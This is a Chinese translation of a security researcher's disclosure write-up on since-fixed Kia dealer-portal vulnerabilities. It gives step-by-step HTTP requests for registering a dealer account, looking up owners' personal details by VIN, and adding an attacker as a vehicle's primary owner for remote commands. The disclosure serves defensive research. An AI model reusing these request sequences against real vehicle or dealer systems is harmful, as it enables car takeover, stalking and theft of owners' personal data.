前言
2024 年 6 月 11 日,研究人员在起亚车辆中发现了一组漏洞,仅使用车牌即可远程控制关键功能。
攻击可以在大约 30 秒内在任何配备硬件的车辆上远程执行,无论该车辆是否拥有有效的 Kia Connect 订阅。
此外,攻击者还可以悄悄获取个人信息,包括受害者的姓名、电话号码、电子邮件地址和实际地址。这将允许攻击者在受害者不知情的情况下将自己添加为受害者车辆上的‘隐形’第二用户。
目前这些漏洞已被修复,工具也未对外发布,起亚团队已验证该工具从未被恶意利用。
漏洞利用记录
大约两年前,研究人员在十几家不同的汽车公司寻找漏洞,他们发现了一些关键问题,攻击者可以利用这些问题远程定位、禁用启动器、解锁和启动大约 1,550 万辆车辆。
The Security Ledger 的创始人 Paul Roberts甚至在美国国会听证会上就这些发现作证。
时间过去了这么长时间,研究人员决定重新访问一些较大的公司,看看是否无法发现任何新问题。他们花时间参观的第一个便是起亚。
当开始关注 Kia 时,研究人员最初关注owners.kia.com网站和 Kia Connect iOS 应用程序com.myuvo.link 。这两个应用程序都很有趣,因为它们可以从互联网执行车辆的命令。
虽然车主网站和移动应用程序具有相同的目的,但它们处理车辆命令的方式不同。
车主网站使用后端反向代理将用户命令转发到api.owners.kia.com后端服务,该服务实际上负责实际执行车辆命令,而移动应用程序则直接访问此 API。
以下 HTTP 请求显示owners.kia.com网站如何将 API 请求代理到api.owners.kia.com主机以解锁车门。
在“owners.kia.com”网站上解锁车门的 HTTP 请求:
POST /apps/services/owners/apigwServlet.html HTTP/2
Host: owners.kia.com
Httpmethod: GET
Apiurl: /door/unlock
Servicetype: postLoginCustomer
Cookie: JSESSIONID=SESSION_TOKEN;
发送上述来自owners.kia.com网站的 HTTP 请求后,Kia 后端将生成一个Sid会话 ID 标头,后端 API 使用我们的JSESSIONID作为身份验证来使用该标头,然后最终将转发的 HTTP 请求发送到api.owners.kia.com网站。
由服务器形成并代理的 HTTP 请求:
GET /apigw/v1/rems/door/unlock HTTP/1.1
Host: api.owners.kia.com
Sid: 454817d4-b228-4103-a26f-884e362e8dee
Vinkey: 3ecc1a19-aefd-4188-a7fe-1723e1663d6e
上述 HTTP 请求中的重要标头是Sid (会话令牌)和Vinkey (索引到 VIN 的 UUID),还有各种其他标头,这些标头都是访问 API 本身所必需的,但这些是与车辆访问控制相关的两个标头。
上述两个 HTTP 请求都位于 2023 年发现的原始 Kia 漏洞的同一区域。
由于研究人员已经非常熟悉用户方面的事情,因此他们决定查看起亚经销商网站。
针对起亚经销商基础设施
研究人员从未测试过起亚如何实际执行新购买的车辆激活。
在与一些人交谈后,研究人员了解到起亚会要求购买者在经销商处提供电子邮件地址,然后会收到一个注册链接,用于注册新的起亚帐户或将新购买的车辆添加到购买者现有的起亚帐户中。
研究人员询问他们是否可以分享起亚提供给他们的注册链接,幸运的是,他们转发了电子邮件,研究人员从超链接中复制了以下 URL:
非常有趣! kiaconnect.kdealer.com域名是此前研究人员从未见过的域名,打开 URL 可以看到以下端点:
在上述 URL 中, token参数(也称为 VIN 密钥)是起亚经销商生成的访问令牌,作为一次性授权,用于修改vin参数中指定的车辆。
加载上述 URL 后,将发送以下 HTTP 请求以验证令牌尚未过期或是否已使用:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
{
"token": "985a49f0-1fe5-4d36-860e-d9b93272072b",
"vin": "5XYP3DHC9NG310533",
"scenarioType": 3,
"loginPref": null
}
为验证一次性访问令牌而发送的 HTTP 请求被发送到同一地址 /apps/services/kdealer/apigwServlet.html URI 与之前的owners.kia.com请求相同,但这次是在 Kia Connect 经销商网站上发送的。
这很可能意味着经销商的基础架构有一个类似的转发代理,转发到经销商功能的内部 API。
深入研究了 JavaScript,寻找有趣的 APIGW 调用,研究人员发现了似乎仅限员工使用的功能。
其中涉及经销商车辆查找、帐户查找、注册、取消注册以及更多与经销商相关的 API 调用。
dealerVehicleLookUp() {
this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
vin: this.vinToEnroll
}, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
})
}
为了测试是否可以访问这些端点中的任何一个,研究人员使用他们自己的经销商令牌( Appid标头)和他们拥有车辆的 VIN ,然后向经销商 APIGW 端点发出 HTTP 请求。
尝试使用 Kia Dealer APIGW Endpoint 搜索 VIN 的 HTTP 请求:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP响应:
HTTP/1.1 401 Unauthorized
Content-type: application/json
{
"status": {
"statusCode": 1,
"errorType": 1,
"errorCode": 1003,
"errorMessage": "Session Key is either invalid or expired"
}
}
经销商端点似乎并不想使用我们在购买新车时通过电子邮件获得的访问令牌。
回想起最初的owners.kia.com网站,思考:如果有一种方法可以注册为经销商,生成访问令牌,然后在此处使用该访问令牌呢?
kiaconnect.kdealer.com网站似乎有相同的 API 格式,所以也许可以复制格式,注册一个帐户,然后登录?
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser
{
"userCredential": {
"firstName": "Sam",
"lastName": "Curry",
"userId": "normal.user@gmail.com",
"password": "FakePass123!",
"acceptedTerms": 1
}
}
返回200 OK!看来可以使用与在 Kia Owners 网站上注册相同的 HTTP 请求在 Kia Dealer 网站上注册,快速尝试登录并生成访问令牌:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.user@gmail.com",
"password": "FakePass123!"
}
}
登录有效,服务器返回带有会话 cookie 的 HTTP 响应。
HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000
将生成的访问令牌发送到之前未经授权的经销商 APIGW 端点以搜索 VIN。
使用起亚经销商 APIGW 端点搜索 VIN 的 HTTP 请求(带有“dda”访问令牌):
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl
{
"vin": "1HGBH41JXMN109186"
}
HTTP响应:
HTTP/1.1 200 OK
Content-type: application/json
{
"payload": {
"billingSubscriptionSupported": 1,
"digitalKeySupported": 0,
"generation": "3",
"profiles": [
{
"address": {},
"billSubscriptionStatus": 1,
"digitalKeyStatus": 0,
"email": "victim@gmail.com",
"enrollmentReqStatus": 1,
"enrollmentStatus": 1,
"firstName": "yeet",
"lastName": "yeet",
"loginId": "victim@gmail.com",
"phone": "4027181388",
"phoneType": 3,
"wifiHotspotStatus": 0
}
],
"vinAddedToAccount": 1,
"wifiHotspotSupported": 1
}
}
注册并验证经销商帐户后,能够生成有效的访问令牌,可用于调用后端经销商 API! HTTP 响应包含车主的姓名、电话号码和电子邮件地址。
研究人员能够使用正常的应用程序凭据和修改后的通道标头对经销商门户进行身份验证,这意味着我们可能会接触所有其他经销商端点。
接管车辆
经过几个小时的 JavaScript 筛选后,研究人员终于了解了注册、取消注册和车辆修改端点的工作原理,为了访问受害者的车辆,可以发送以下四个 HTTP 请求:
(1) 生成 Dealer Token 并从 HTTP 响应中检索“token”标头:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser
{
"userCredential": {
"userId": "normal.kia.user@gmail.com",
"password": "Fakepass123!"
}
}
使用创建的经销商帐户,研究人员将通过/prof/authUser端点进行身份验证以获取会话令牌。
(2) 获取受害者的电子邮件地址和电话号码:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN"
}
通过添加会话令牌标头,研究人员能够访问kiaconnect.kdealer.com网站上的所有经销商端点,并检索受害者的姓名、电话号码和电子邮件。
(3) 使用泄露的电子邮件地址和 VIN 号码修改所有者之前的访问权限:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/rvp
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "VIN",
"loginId": "victim_email_leaked@gmail.com",
"dealerCode": "eDelivery"
}
发送此请求是为了将车主降级,以便可以将研究人员的帐户添加为主要帐户持有人。
必须将受害者的电子邮件发送到此处,这是在第二步中获得的。
(4) 将攻击者添加到受害者车辆上:
POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /ownr/dicve
Appid: 123e4567-e89b-12d3-a456-426614174000
{
"vin": "5XYRK4LFXMG016215",
"loginId": "attacker@gmail.com"
}
最后,将攻击者控制的电子邮件指定为车辆的主要所有者,从而使我们能够向车辆发送任意命令。
上述四个 HTTP 请求可用于仅使用车牌向几乎所有 2013 年之后生产的 Kia 车辆发送命令。
从受害者的角度来看,没有任何通知表明他们的车辆已被访问,也没有通知他们的访问权限被修改。
攻击者可以解析某人的车牌,通过 API 输入他们的 VIN,然后被动跟踪他们并发送主动命令,例如解锁、启动或按喇叭。
以上内容由骨哥翻译并整理。